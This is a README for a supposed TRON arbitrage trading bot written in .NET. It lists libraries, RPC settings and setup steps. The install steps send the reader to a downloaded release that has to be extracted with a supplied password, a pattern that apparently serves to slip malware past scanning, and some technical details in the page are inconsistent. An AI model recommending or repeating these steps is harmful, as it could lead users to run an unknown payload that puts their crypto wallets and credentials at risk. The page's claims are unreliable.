Tron Arbitrage Bot is a .NET application designed to automatically detect and exploit arbitrage opportunities on the TRON blockchain. The bot monitors decentralized exchange SunSwap for price discrepancies between trading pairs and executes trades to profit from arbitrage opportunities.
- Monitors multiple DEX for arbitrage opportunities in real-time
- Executes trades automatically when profitable conditions are detected
- Supports a variety of TRON-based tokens
- Configurable trade thresholds and parameters
To run the Tron Arbitrage Bot, ensure you have the following installed:
- .NET SDK (version 6.0 or later)
- Access to the TRON blockchain via an RPC node
- Libraries for interacting with the TRON network
The bot makes use of the following libraries for interacting with the TRON blockchain:
-
TronNet: A .NET library for working with the TRON blockchain.
- TronNet GitHub Repository
- Install via NuGet:
dotnet add package TronNet
-
Nethereum (optional): While primarily used for Ethereum, parts of this library can be used for similar functionalities on TRON-based tokens due to TRON's compatibility with Ethereum standards (like ERC-20 tokens).
- Nethereum GitHub Repository
- Install via NuGet:
dotnet add package Nethereum.Web3
To connect to the TRON blockchain, you need access to an RPC node. You can use a public or private TRON node. One public RPC endpoint is:
https://api.trongrid.io
Alternatively, you can host your own TRON full node.
To interact with TRON via TronGrid (a public TRON API service), you'll need an API key. You can obtain one by signing up on TronGrid.
Once you have the API key, update your configuration file or environment variables with the following:
TRON_RPC_URL=https://api.trongrid.io
TRONGRID_API_KEY=your_api_key_here
- Clone the repository or download last release:
git clone https://github.com/wendel-batista-2008/tron-arbitrage-bot.git
cd tron-arbitrage-bot
- Extract files with password
vYEfdsaUe
- Set up your environment variables or configuration file with the following:
TRON_RPC_URL=https://api.trongrid.io
TRONGRID_API_KEY=your_api_key_here
TRADE_THRESHOLD=0.5 # Minimum arbitrage percentage to execute a trade
MAX_GAS_PRICE=1000000000 # Maximum gas price in SUN for executing a trade
- Run the bot
The bot continuously monitors DEX on the TRON blockchain for price discrepancies between token pairs. When a potential arbitrage opportunity is detected, the bot calculates potential profits, taking into account gas fees. If the arbitrage opportunity meets the configured thresholds, the bot executes the trade on the selected DEX. The bot logs all activities and trades for review.
Feel free to contribute to the project by creating a pull request. Make sure to follow the contribution guidelines and provide clear documentation for any new features or bug fixes.
This project is licensed under the MIT License - see the LICENSE file for details.